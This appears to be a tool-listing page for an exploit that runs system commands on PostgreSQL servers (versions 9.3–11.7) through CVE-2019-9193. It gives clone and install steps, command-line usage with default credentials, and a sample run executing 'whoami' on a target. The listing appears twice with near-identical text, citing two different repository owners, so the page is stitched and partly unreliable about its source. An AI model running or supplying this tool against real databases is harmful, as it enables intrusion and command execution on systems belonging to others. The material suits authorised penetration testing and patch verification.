GenPostgresRCEExploit is a PoC tool designed to exploit an authenticated Remote Code Execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). It allows authenticated users to execute system commands on a PostgreSQL database server vulnerable to CVE-2019-9193.

Features

  • Exploitation of RCE: Executes system commands through an authenticated PostgreSQL session.
  • Version Check: Checks the version of the target PostgreSQL server to confirm the presence of a vulnerability.
  • Command Execution: Allows user commands to be executed on the server if it is vulnerable.
  • Automatic Table Management: Creates and deletes a temporary table to execute commands without manual intervention.

Requirements

  • Python 3.x
  • PostgreSQL Python library (psycopg2 from pip)
  • PostgreSQL library headers (libpq-dev from apt)

Installation

  1. Clone the repository:
    root@kitploit:~
    git clone https://github.com/AxthonyV/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Install the required packages:
    root@kitploit:~
    pip install -r requirements.txt
    

Usage

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"

Options

  • -i, --ip: IP address of the PostgreSQL server (Default: 127.0.0.1)
  • -p, --port: PostgreSQL server port (Default: 5432)
  • -d, --database: PostgreSQL database name (Default: template1)
  • -U, --user: Username to connect to the PostgreSQL server (Default: postgres)
  • -P, --password: Password to connect to PostgreSQL server (Default: postgres)
  • -c, ---command: System command to be executed on the server
  • -t, --timeout: Connection timeout in seconds (Default: 10)

Example

root@kitploit:~
python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"

This example connects to the PostgreSQL server at 192.168.1.10, authenticates with the provided credentials, and executes the whoami command.

Example output

root@kitploit:~
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"

[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed

GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.

Features

  • Exploit RCE: Execute system commands over an authenticated connection to PostgreSQL.
  • Version Check: Checks the version of the target PostgreSQL server for vulnerabilities.
  • Command Execution: Allows arbitrary commands to be executed on the server in the presence of a vulnerability.
  • Table Management: Automatically creates and deletes a temporary table for command execution.

Requirements

  • Python 3.x
  • PostgreSQL client library (psycopg2 package)

Installation

  1. Clone the repository:
    root@kitploit:~
    git clone https://github.com/geniuszly/CVE-2019-9193
    cd CVE-2019-9193
    
  2. Install the required packages:
    root@kitploit:~
    pip install -r requirements.txt
    

Usage

root@kitploit:~
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"

Options

  • -i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)
  • -p, --port: PostgreSQL server port (Default: 5432)
  • -d, --database: PostgreSQL database name (Default: template1)
  • -U, --user: Username to connect to the PostgreSQL server (Default: postgres)
  • -P, --password: Password to connect to PostgreSQL server (Default: postgres)
  • -c, --command: System command to execute on the server
  • -t, --timeout: Connection timeout in seconds (Default: 10)
